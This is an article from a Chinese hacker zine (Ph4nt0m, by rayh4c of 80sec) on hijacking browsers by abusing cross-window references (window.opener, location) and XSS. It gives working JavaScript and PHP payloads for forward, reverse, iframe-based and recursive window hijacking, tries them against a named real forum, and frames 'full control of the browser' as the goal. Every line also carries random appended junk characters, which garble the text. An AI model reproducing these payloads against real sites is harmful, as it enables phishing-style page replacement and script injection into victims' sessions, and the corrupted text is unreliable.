==Ph4nt0m Security Team==
; c, J7 g5 v' [. X/ }
& G/ A4 A1 Q+ G4 ~5 _7 M Issue 0x03, Phile #0x05 of 0x070 D: r8 D/ a2 u5 D# t# @
5 P0 c3 B4 w( Q7 i/ _3 w. r6 x
0 q& s- g: Q0 I' \% t
|=---------------------------------------------------------------------------=|5 V* |( J6 q5 j9 e! J; V
|=---------------=[ 利用窗口引用漏洞和XSS漏洞实现浏览器劫持 ]=---------------=|; z9 \7 e* j$ e8 S
|=---------------------------------------------------------------------------=|
+ I) T& W, r$ K8 U; `% b|=---------------------------------------------------------------------------=|
. f9 y2 y+ P' s0 L7 J% D) p|=------------------------=[ By rayh4c ]=---------------------------=|
& ~' S: ~: h- C* U0 i$ y2 `% y|=----------------------=[ <rayh4c#80sec.com> ]=------------------------=|
- T4 H: ?) @5 F1 U, D|=---------------------------------------------------------------------------=|% K2 C6 t j m& |/ F
+ j N3 ^& b6 f; ]0 L
1 _% A) B) M1 ^8 }1 y
[目录]
' m* \. q4 X% T6 I8 s4 Q, n6 v8 v1 A3 k z# i% \
1. 前言
" s* A$ n! P, j+ y; ^& h) D2. 同源策略简叙+ ~0 F& k. B- d4 j9 r
3. 理解window对象的同源策略- u# D. k# ?# T; E* g6 L6 A
4. 窗口引用功能中的同源策略漏洞
' V- {# Q- K+ P, _ 4.1 父窗口引用子窗口的同源策略问题
) c& r% K4 K* J4 y( \- q 4.2 子窗口引用父窗口的同源策略问题
' s( H7 M) k5 Q4 z( S; Z; |% P5. 利用窗口引用漏洞劫持浏览器9 y0 i; M. f6 c
6. 利用XSS漏洞劫持浏览器
; B7 k+ [6 w7 [" C2 p+ M6 Q. X 6.1 正向跨窗口劫持
; @; R! x( W$ F% T 6.2 反向跨窗口劫持
, ~" U; V9 z* O( C- Q2 A& I2 R- v* N 6.3 极度危险的跨框架窗口引用劫持! H$ D1 k% K4 C% W
6.4 极度危险的正反向跨窗口递归劫持+ t5 f+ B* ]) d2 j) A& g% |! S
6.5 完全控制浏览器4 \+ d/ S8 O, M! x0 U
7. 后记+ e9 C1 A0 G3 n8 w N: S
8. 参考
( e/ T' ^6 O" h9 u/ r3 T9 j
5 f2 `6 ^# R( u+ T$ z7 G K# j2 l. Y. R
一、前言
# D! Q _ y0 G& X) k/ L
+ ^% I3 ^! o1 h2 |+ k$ n1 h 最近国内关于XSS漏洞的技术文档都比较少,所以决定写这篇文档,其中的很多细节和朋. F! ?) A- n1 ~" c
友们都沟通讨论很久了,其中包括了我对浏览器同源策略和XSS的一些理解。XSS漏洞从Session7 X. |3 \9 [& o2 w' Y; W" F: a
劫持、钓鱼、XSS WORM等主流攻击方式发展到现在,告诉了大家一个真正的跨站师是不会被! _- Q! z" l: _+ ~/ _* V
条条框框所束缚,跨站师们在不断的创新,跨站师们会展示XSS漏洞的所有可能。/ b+ D0 S, @" C! q
0 F9 F' y) f- Y) ?& ]9 x( K
- N" }( _9 S, c4 k7 e二、同源策略简叙
7 a; N" C7 L% T2 w8 K) n/ G' `. Q+ g9 Y# e3 {0 C
同源策略是浏览器的安全基础,它是浏览器支持的客户端脚本的重要安全标准,我们可以
4 S0 p4 d! v, o9 x. V/ B7 ~* j0 Y从“源”上了解这一安全标准,按照W3C的标准这个“源”包括域名、协议和端口,各大浏览器都8 |" i2 `7 ~* a, a
曾爆出过很多同源策略漏洞,危害程度各有不同,比如从06年开始流行至今的MS06-014网页木
) y$ X" B8 ~! O' Y马漏洞都已经完全颠覆了同源策略。这次的文档主要说的是DOM的同源策略(参考2)中的一个" @* f5 [# G' n* m
漏洞,然后从漏洞引申到XSS漏洞如何利用DOM的同源策略特性,最终实现浏览器劫持。
+ i1 h0 ]3 a2 B# `7 F; \- ?7 ?. s( v/ J5 ^: X3 e, m- ?
, e, n9 h* A3 z( B7 V) U5 Y三、理解window对象的同源策略
; s6 `1 u( p: \
* t0 u4 \ u j% }, I/ k 窗口即指的是浏览器窗口,每个浏览器窗口都可以使用window对象实例来表示,window对% t3 F* J' Z9 |! N
象有很多属性和方法,写一个简单的脚本可以历遍出window对象的所有属性和方法:2 u) n7 m1 n. e* ], |
; c7 J }; I5 `: N+ h--code-------------------------------------------------------------------------( ^% i9 w( A2 D: h6 L7 c- J4 l
<script language="javascript">( ^2 Y1 l4 C- ~: ~
for(p in window) document.write(p+"<br>");8 T! c$ C% t+ } F- w, Y( R H( Y& z u
</script>$ H- B/ v; x5 J: `
-------------------------------------------------------------------------------1 I. v: A, P" ?; V) j
6 X$ K3 P: s% O8 y9 D 这些window对象的属性和方法可以改变窗口的外观和窗口网页的内容,当这些属性和方! i7 V* m7 t- {! O+ h0 O
法只在一个窗口中使用并不会凸显出安全问题,但是当多个window对象开始互相引用的时候,
# \; A; Q4 C7 H; ?* h这些属性和方法就必须遵循同源策略。: p3 z2 J3 e# r, \8 j
1 z! U9 L8 N7 K2 g& D; Y 举一个简单的例子,如果在a.com的网页可以调用b.com网页window对象的属性和方法,那4 U f0 p' ]' S! Q) ?+ C& U
么跨站师就可以随便XSS互联网上任何一个网站了,所以为了避免安全问题,同源策略是必须$ Q2 J2 O' W+ p& M8 \
的。我们可以把下面的脚本保存为demo.html到本地打开或者丢到远程服务器上进行测试,这" v8 J3 n" p8 Q- ^# B h% `4 X t, V
个脚本的效果是调用不同源的子窗口window对象的属性和方法,我们会发现location属性的
9 D0 B+ _; u5 T. m7 z: l值类型是空白的,这种情况太特殊了,说明不同源的父窗口引用子窗口window对象的location
u; C: p0 Z1 f0 V属性并没有被拒绝访问。
! _: ~; h2 A. H# b
$ R1 y+ B3 C) D- T9 V--demo.html--------------------------------------------------------------------
. f9 L+ q" b: B: f) O<script language="javascript"> " R( i: O" Q! u8 `& n) r9 s5 O A
function allPrpos(obj) { 7 }. c! k v2 n1 k7 s- |! @
var props = "<table><tr><td>名称</td><td>值</td>";
. M# q5 S) j/ e* q( B' p for(var p in obj){
* i% s: q! P8 v+ s Y7 G0 F if(typeof(obj[p])=="function"){
, s C* H7 B( i3 X% J6 K+ w obj[p]();
; P/ }% u$ }. o4 W/ |9 ^ }else{ ' g# H. l8 K" N& V+ r
try ; }9 ?1 Q9 H b
{ ) [: I2 h$ Z b- N: B/ c( _3 X& {9 A, U! \2 {
props+="<tr><td>"+p + "</td><td>" + obj[ p ] + "</td></tr>";
' l/ k9 z; e. b4 j$ D: ]- R }
. V+ b3 U; M8 s5 [ catch (ex) ' u1 S; V4 L4 _6 H1 D, k( U# r2 Y- k
{
) j' s* {2 y# V- G7 [ 5 V# f1 r# w- @: v: Q
props+= "<tr><td>"+p + "</td><td>" +ex.message+"</td></tr>";
/ T( Y% X* y& ^ } . }! E, x# K/ g" z3 @
, A6 B5 r. S' ^, v0 S! T0 t O }
6 a3 v+ b; {( i( s0 ^ } ( N9 ?8 e/ ^9 M; r
$ d4 c. n( ~4 f9 r' G O document.write(props+"</table>");
9 i* A: Q5 X9 g}
" P! U4 V7 ?# h0 X ; e; M! A/ ?, ~
function createWin() { A" t- x0 I- o8 H
newWin = window.open ("http://www.google.com");
: m( O* h: e( |2 n. f- { U setTimeout(function(){allPrpos(newWin)},2000); , q4 L$ w9 {. f& t; Z+ n' H
}
) k, w' ]- I5 p# G+ [4 j- Q$ C. U- a5 X) k4 \% I- ^( A3 @0 U
</script>
) u) J6 h4 o w1 z8 Z+ H5 S
9 C' \! ]7 q8 C7 ~<button onclick='createWin()'>创建一个非同源子窗口测试</button>
, j6 b8 E N& V$ H- v-------------------------------------------------------------------------------
* r9 M9 m6 M& d5 \( D
& K3 S: x1 Y& b- |6 }2 g# `% }
C y# Q2 m! ^" a# T1 v% c+ D四、窗口引用功能中的同源策略漏洞
6 a* ^) A) T1 S( O8 N1 i# Q( m+ P3 f2 ]/ @6 a8 E
4.1 父窗口引用子窗口的同源策略问题7 R4 c1 x; v( o/ X' \ l4 T8 m/ g
; w- G% v; y/ H, W4 h- e
去年我在幻影杂志发过的IE6跨域脚本漏洞,这个问题微软已经发布了ms08-058补丁修复,! W) s- I6 w6 n5 I
但这个漏洞仍然暴露了父窗口引用子窗口的同源策略问题。根据第二部分的测试,我们知道! t+ Z# @( Z" r5 t
浏览器并没有阻止父窗口访问非同源子窗口的location属性值,我们可以使用下面的脚本进
* W- Y! L# H. H行测试,会发现父窗口可以控制非同源子窗口location属性值。8 n$ s/ [- m, [/ v) I( q' s
$ M8 r8 t8 o5 `--vul1.html--------------------------------------------------------------------
' D$ C9 V" }* u* V1 _ A<script language="javascript"> 3 ?, y0 H" N9 {1 d
function createWin() {
! [7 c7 T2 `; j1 y newWin = window.open ("http://www.google.com");
, {3 P9 K Y5 a, B; s+ b setTimeout(function(){newWin.location="http://www.80sec.com"},2000);
$ Q9 O5 j+ S! S}
9 D$ o8 ~. V+ Y</script>! ]8 K s1 u; l, o3 y
) c* e: c; E) g, ]% ~$ o0 T; Q<button onclick='createWin()'>创建一个非同源子窗口测试</button>. M+ U& }" o. y& K. e r3 c9 \
-------------------------------------------------------------------------------/ S; \; f$ M. I7 N$ C
; k( G! N6 Q# o5 T
* c3 J' H+ w. d. t: P' q' P5 ^
4.2 子窗口引用父窗口的同源策略问题
: d( W* B; `1 P ~" y
6 u7 e0 \. \) y3 P 逆向测试一次会发现子窗口引用父窗口也存在同样的问题,这里为了更方便和直观我使0 q+ b5 c9 z3 S; \
用javascript伪协议进行验证。子窗口引用父窗口的window对象属性是window.opener,我们
2 e5 a$ m2 v* b. r- w- t; t# z可以随意浏览一个网站点击链接打开N个网页,在这些网页的地址栏注入下面的脚本,你一定
6 N4 l; G, F3 T会惊奇的发现,不管同源还是非同源的父窗口都转跳到了80SEC网站。% @9 R% ]4 R% c `) Y9 M
0 g9 S# M/ d3 ]) S: r--code-------------------------------------------------------------------------
/ b6 L/ b" ~2 V' p. I3 L7 Q6 N1 m; F/ B
javascript:window.opener.location = "http://www.80sec.com";void(0);4 W. |7 ^# z# a
2 N0 m2 D @, B# h1 G* |& y, r-------------------------------------------------------------------------------4 u" A# }: t4 x4 z/ o, e
/ W7 u/ {: X/ w" q
' q/ ~8 c- Z5 e0 z0 H% n( d五、利用窗口引用漏洞劫持浏览器' s% v ~% N! {& C4 h6 n B2 j( U
2 A7 m3 S2 `8 n; v8 u3 h
经过上面三个枯燥的测试,我们已经暴露了浏览器一个非常严重的安全问题,非同源的子
* W9 d3 {4 |% `6 \$ U3 r$ _, K! J窗口和父窗口可以互相引用控制window对象的location属性值,并没有严格遵循同源策略,那' M, t2 \" j2 A3 Y; y+ S
么用户在浏览器中的所有点击行为都有可能被跨站师变相控制。
, @1 m3 |+ B. F u5 _* D. T* ?5 q# f2 y+ g8 N
我们打开浏览器访问互联网上的各个网站,无时无刻不在点击链接,我们点击链接想要产# q2 `5 a( [; m5 s
生的结果是去访问我们想要去的URL地址,用户的正常点击只会产生两个结果,打开新窗口或
$ T% e! T* x7 ~. O: v者当前窗口转跳,试想一下你在SNS网站、电子商务网站、BLOG、论坛里点击一个正常的链接' a9 b, `; e" @, }. D
后,打开了一个“无害”的网页,原本浏览的信任网页却已经被悄悄替换了,大家可以联想一下
% O- r/ t# H0 [3 I. t) }, z会产生什么可怕的后果。! n& R$ T- B( n& W$ u, ~& a) Z
4 o6 \1 u& S) E4 ]. q 下面我写了一个劫持浏览器的小Demo,思路是获取REFERER后生成镜像页面,同时加入我
1 \0 z$ g3 F4 w- {8 o F* r们的劫持脚本。比如把这个hjk_ref.php丢到本地服务器上测试,将http://127.0.0.1/hjk_ref.php7 `2 H5 k% I6 o' `. _( y
这样的链接发到任意一个网站上,点击链接打开新窗口,当所有的注意力都停滞在新窗口的时
V) ^5 N3 w/ f; L9 g% W候,3秒后一个镜像页面将会悄悄替换链接所在页。按照类似的思路,发挥跨站师的想象力,可7 ?% g- \ y6 a# l; q0 J
以做更多的事情,所有的一切仅仅是因为点击了一个链接。
1 ]) T9 u/ q9 ~1 l4 l c L9 ^8 y# E$ [# V# s+ ^
--hjk_ref.php------------------------------------------------------------------
4 p0 ?% u# L; p, B<?php
3 K8 x e+ W2 `, L. n! ~( l2 cif (array_key_exists("HTTP_REFERER", $_SERVER)) {/ W: M' x" Z) N
$Url_Mirror = $_SERVER["HTTP_REFERER"];
/ E% `. X" `* X% p% D$ O}
! x( g. B, G% |! mif(isset ($_GET['ref'])) {" J( ]. p9 w, e' l% C6 X5 i C
echo file_get_contents($_GET['ref']) . '<script>alert(\'I had been hijacking your browser!\')</script>';2 m9 ]' z8 u7 M& ?/ k3 k
}
1 L. V1 l0 F5 _/ m2 F?>
6 ~' q) f, F N0 [* ^9 R( m9 t7 H" E( w9 ~# N
<script language="javascript">
8 r+ T! Q) E4 o# g3 f& LsetTimeout(function(){window.opener.location=window.location+"?ref=<?echo $Url_Mirror;?>"},3000);
3 [5 Q. d0 i0 X$ r0 l4 u% ~. I4 i</script>
) M" Z0 _- ]. l" `! w-------------------------------------------------------------------------------
' f2 _ @. O5 }6 a6 O
6 W3 R& g( Z. b8 ?) A 注:各大主流浏览器仅opera和internet explorer 8不存在窗口引用漏洞。2 i# f& H" f( G( F) e7 O# T
, U9 h& i9 v) o, l9 i1 ~7 H; U+ f9 p9 A& q0 l z) C) J; u
六、利用XSS漏洞劫持浏览器
$ p+ D0 l% }5 c/ ^( c5 c$ p& [) M% ?$ s0 W( z" k8 c" S6 ~' A8 T% [6 g
延续第四部分的思路,这部分将进入本文的一个重要环节.跨站师们都知道XSS漏洞分为" u( ~: Q' T0 f; C1 }' `- d
持久和非持久两种,这两种类型的漏洞无论怎么利用都无法跳出窗口的生命周期,窗口关闭后) G" X. P# M$ T: f
XSS漏洞的效果也就完全消失,窗口的限制一直束缚着跨站师们的发挥,我这里将和大家一起6 ^# m k6 G* O; F& C" f+ Y
讨论跨站师的终极技巧:
# u) z3 g0 d! V! y( I0 ?$ Y8 k
9 ~0 K$ I2 R; p& Q' G: K( _5 n3 i' l$ v* } y9 X- F
6.1 正向跨窗口劫持
2 U8 \' @& `7 D1 h
% }5 D$ y9 ?9 ~! n3 c 大家可以先试验下hijack_open.js这个脚本,比如打开http://bbs.dvbbs.net/动网论坛
. {% K f. C) [主页,我们在地址栏里复制下面的代码使用伪协议注入hijack_open脚本,然后整个页面的链
" Q* c4 |5 _) N! h8 y8 ?接就都被劫持住了,点击论坛里的任意一个链接,打开的新窗口都会被注入了一个alert对话
: h( H% i6 w; J) J框脚本。 7 e" ]+ R; x$ d4 q9 g
- V" @; X. I, F& U- y$ B7 n
--hijack_open.js---------------------------------------------------------------
/ Z' n2 q2 Z8 y+ `! J e" q5 @. Q! Q
javascript:for(i=0;i<document.links.length;i++){document.links.onclick=function(){x=window.open(this.href);setTimeout(function(){try{x.location="javascript:alert('I had been hijacking your browser!')"}catch(e){};return false;},3000);return false;}};void(0);7 T% q5 q; D" l0 z; ~
5 ^- V8 S* A& b1 i-------------------------------------------------------------------------------
! E# c) m: e `# S+ Y3 v
2 ~ F7 e! N9 ~0 l, L- j, f3 C* N
6 C- s( T( g, z5 a, p4 t0 {$ F6.2 反向跨窗口劫持
2 _+ {0 d T7 {0 x9 w) y, X5 ^
- w; Z. Y3 W' f 同样我们也可以在动网论坛试验,新打开任意一个版块的窗口,在地址栏里复制下面的代
r) y: {* N# p) n6 O码使用伪协议注入hijack_opener脚本,我们会发现原来的页面被反向注入了一个alert对话
6 @& m! N' e- ]框脚本。& {: q/ F% |( A7 Y e( p' C
( n; v' ]8 V* z* [2 s3 F
--hijack_opener.js-------------------------------------------------------------) i; o- o3 w- i
+ `) y, X6 v6 ]: A
javascript:window.opener.location="javascript:alert('I had been hijacking your browser!')";void(0);
4 O7 U3 D$ G4 t9 w( b0 d. l& v! P/ X$ [/ H
-------------------------------------------------------------------------------+ L7 [7 Q$ f/ K# m$ y- F# B1 k
; J, A5 W2 I/ k% @
* T# ^/ H4 Y+ S* i6.3 极度危险的跨框架窗口引用劫持- p5 P8 b" K9 e3 K
" S. Z& e/ Q4 i: L! ?/ S 非持久型XSS漏洞是在URL参数中注入脚本,一度被认为很鸡肋,一个非持久型的XSS漏洞3 K; J; Q: {7 D9 S' G
可能出现URL参数过于冗长等缺点,下面这个window.parent.opener的跨框架窗口引用技巧就, B! ]& I3 [" q+ C2 E( D5 p5 }
适用于所有的非持久型XSS漏洞,我们可以在一个被攻击者的信任网站上的网页里iframe一个/ A- N4 u' c* A) O7 X) e) e
非持久型的XSS,如下:5 B4 R t6 c* @' u# a
; q k6 w( r# `0 @" n<iframe src='http://www.target.com/index.php?vul=xss'width='0' height='0'>
/ N; f: h- H% _- b
6 p+ A+ n5 t) Y- s' W( M' A 在vul参数中写入下面的hijack_frame_opener脚本,跨站师就可以反向跨框架引用窗口$ F4 H2 F# h- O# e: e
注入脚本。
+ c; f1 O- r( S8 H" I/ C' m5 G% q
--hijack_frame_opener.js-------------------------------------------------------0 P% i2 l3 ^1 t0 [3 }2 p
<script>+ I# V$ ?. R, T: r8 R! \( O/ y; Q4 `
window.parent.opener.location="javascript:alert('I had been hijacking your browser!')";4 g. p$ _% M! v9 V- Y3 f3 k: }# g
</script>4 u# B1 K) g, ~' \& T
-------------------------------------------------------------------------------
: @- d& p0 j3 E, f3 B0 ? U- U& Z3 t/ _. m# ~
# _% u. c* z7 t( z0 l
6.4 极度危险的正反向跨窗口递归劫持7 K# N" j- i: c5 z( V0 G4 T9 p) c
/ O! a+ i& P8 o/ }% M! f
luoluo建议我加上了这一部分,窗口之间的引用关系可能是复杂的,我们可以通过window
; k, `' p1 B, b& V9 C$ G% e的opener属性链反向递归查找窗口注入XSS脚本,将互相引用过的同域窗口全部劫持,并通过% G1 f6 Y6 x& C, J$ O( P
异常处理规避之间跨域页面的访问异常,代码如下:
r, @- t H- K: v2 `, m) A- Q$ v; Z* T$ _
--code-------------------------------------------------------------------------1 m) Z N! m: o7 L( z
. ~+ R& C9 n" R$ f) F
javascript function(){var w=window;while(w.opener){w=w.opener;try{w.location="javascript:alert('I had been hijacking your browser!');void(1);";}catch(e){}}})();void(0);
2 {, w& o( U5 Y$ j }: d9 r4 X4 T" [6 O- k8 U* q
-------------------------------------------------------------------------------
) v1 O# k% c0 ^) s
2 u1 h6 e: X5 D. h9 u( M 假设页面打开序列有A域->B域->A域的情况,通过对第二个A域页面的反向递归劫持则可' E% g7 G; k( I( T: x
以劫持B域之前的A域页面,从而实现“隔空打击”。& w( M3 v) \/ j( s, l2 v( h
( t3 s- S) I1 b' r 同理,正向跨窗口劫持也可以实现递归劫持所有同域的链接,对每个打开的被劫持的页面" Z3 U8 g& I' w- _: o
执行和第一个页面一样的劫持脚本,但是正向递归没法实现反向递归的那种“隔空打击”。
0 K1 g' C1 [6 f' ^6 \& j: B* J
7 @( J7 A8 j8 f e" s& _ 结合正向和反向的链式递归劫持,最终我们可以劫持所有的同域页面。
7 V' @" q$ v, s3 Q. ~6 l+ Q
* ^ W% F9 L" ]$ f1 e( ]0 [- _; I, a# g) ^* n
6.5 完全控制浏览器9 g/ Q. a" `4 q( V1 g
6 T8 \, T3 L0 c
一个跨站脚本漏洞的真正意义在程序员的角度是输入和输出问题,而在跨站师的角度则" m2 l& }$ _# Y* V7 r; [- F' Y; ?
是能够进入同源策略了,可以摆脱同源策略的束缚做任何想做的事情。跨站师们可以利用XSS' {; E5 i; S/ n4 ]
漏洞在同源策略允许的范围内再跨页面注入脚本,可以不再为窗口关闭后XSS漏洞的效果消失5 b2 d0 }+ @3 V) ^) K
而烦恼,劫持窗口后的跨站师们可以任意发挥,劫持表单,劫持请求,劫持输入等等,我就不再
, l+ D$ {% ~4 z列举实例。无论是持久型还是非持久型的XSS漏洞都是能够发挥最大的威力的,最后实现跨站$ p% Z# N2 `4 r5 h
师的终极目标 - 完全控制浏览器。
, b; b: b7 M [5 l' Q0 Q3 @( ~; G) q: f! N1 f3 l. f! K9 Y
; m: u" S1 Q1 x# E! A' H; J* ^. k七、后记
3 w$ L0 s! v' l8 |. e% `) s, q
: ?& Y1 `1 V+ ]( M" B" ?# O: j% i 文章涉及的安全技术全部都是纯研究性质,请不要将这些技术使用在非法途径上。安全
1 J/ S# l- ?* ~, r, c( Z' e0 L- `与应用永远是一个矛盾体,通往安全的路永远不止一条。感谢对这篇文档的思路和技术给予5 [% \. V/ z; Y6 C
过帮助的luoluo、cnqing、linx以及80Sec团队的所有成员。% J% K: B5 l+ e2 q
% k* g" N7 g, B0 z4 a: A( v: C. Q) d/ r
八、参考4 C( F& a. I, ^1 A# }
$ {6 Z! l1 x* n, A1. http://en.wikipedia.org/wiki/Same_origin_policy
( t% E, \* W# ~2. http://code.google.com/p/browser ... licy_for_DOM_access
% b+ o2 X! j9 ^4 W3. http://www.w3.org/TR/Window/
9 y# E D4 t# e5 G1 a! e0 \/ Z" [4. http://www.80sec.com/release/browser-hijacking.txt
; H: b+ o! a6 x- \' ?5. http://www.80sec.com/all-browser-security-alert.html& @8 F# q0 o( @! Y8 B" G) O$ x: v" y+ ]
6. http://www.80sec.com/ms08-058-attacks-google.html
4 t- s" H* w; Y0 f- H2 S: q8 e. g v; {. A
-EOF- |